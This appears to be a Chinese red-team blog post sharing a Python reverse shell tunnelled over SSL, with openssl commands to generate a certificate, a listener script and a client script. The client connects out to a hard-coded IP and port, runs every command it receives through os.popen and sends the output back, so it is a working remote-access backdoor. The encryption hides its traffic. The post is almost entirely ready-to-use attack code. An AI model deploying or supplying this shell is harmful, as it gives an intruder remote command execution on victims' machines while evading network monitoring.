ssl反弹shell(py)

红队

创建时间:2020-09-25 14:40

阅读:

code

之前在星球发过一个py反弹windows shell的。昨天看了篇py ssl反弹shell的
想着把之前那个也改一下

code

openssl生成证书

openssl genrsa -out server.key 1024
openssl req -new -x509 -days 3650 -key server.key -out server.crt -subj "/C=CN/ST=mykey/L=mykey/O=mykey/OU=mykey/CN=domain1/CN=domain2/CN=domain3"

server：

import socket
import ssl
import optparse
import os

def main(ip,port,cert,key):
    try:
        port=int(port)
    except:
        print("[-] set port 1-65535")
        exit()

    if os.path.exists(cert) and os.path.exists(key):
        pass
    else:
        print("[-] ssl cert:{} or ssl key:{} not found".format(cert,key))
        exit()

    print("bind {}:{}".format(ip,port))
    s=socket.socket()
    ssl_s=ssl.wrap_socket(s,certfile=cert,keyfile=key,
                          ssl_version=ssl.PROTOCOL_TLSv1)

    ssl_s.bind((str(ip),port))
    ssl_s.listen(3)
    conn, addr = ssl_s.accept()
    print("[+] connection {}".format(addr))
    while True:
        user = input()
        if len(user)>0:
            conn.sendall(user.encode())
        else:
            continue

        data=b""
        cmdlen = conn.recv(99999)
        cmdlen=int(cmdlen)
        while len(data)<cmdlen:
            data+=conn.recv(99999)
        print(data.decode())

if __name__ == '__main__':
    parser=optparse.OptionParser()
    parser.add_option("-i",dest="ip",help="set ip")
    parser.add_option("-p",dest="port",help="set port")
    parser.add_option("-c",dest="cert",help="set ssl cert")
    parser.add_option("-k",dest="key",help="set ssl key")
    option,args=parser.parse_args()
    if option.ip and option.port and option.cert and option.key:
        main(option.ip,option.port,option.cert,option.key)
    else:
        parser.print_help()
        print("Example:python server.py -i <ip> -p <port> -c <sslcert> -k <sslkey>")

client.py

import socket
import os
import re
import ssl

s=socket.socket()
s=ssl.wrap_socket(s,ssl_version=ssl.PROTOCOL_TLSv1)
s.connect(("192.168.113.145",4444))
while True:
    path=os.getcwd()
    data=s.recv(1024).decode().rstrip('\n')
    if len(data)>0:
        data="cd /d {}&".format(os.getcwd())+data+"&echo [S]&cd&echo [E]"
        cmd = os.popen(data).read()
        path2 = re.findall("\[S\]\n.*\n\[E\]", cmd)
        if len(path2) > 0:
            path = str(path2[0]).replace("\n", "").replace("[S]", "").replace("[E]", "")
            os.chdir(path)
        cmd=re.sub("\[S\]\n.*\n\[E\]","",cmd)
        sed=cmd+path+">"
        cmd_length=str(len(sed.encode("utf-8"))).encode()
        cmd_data=sed.encode("utf-8")
        s.sendall(cmd_length)
        s.sendall(cmd_data)
    else:
        s.sendall(path.encode("utf-8"))

效果如下：

找个时间写个golang的

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。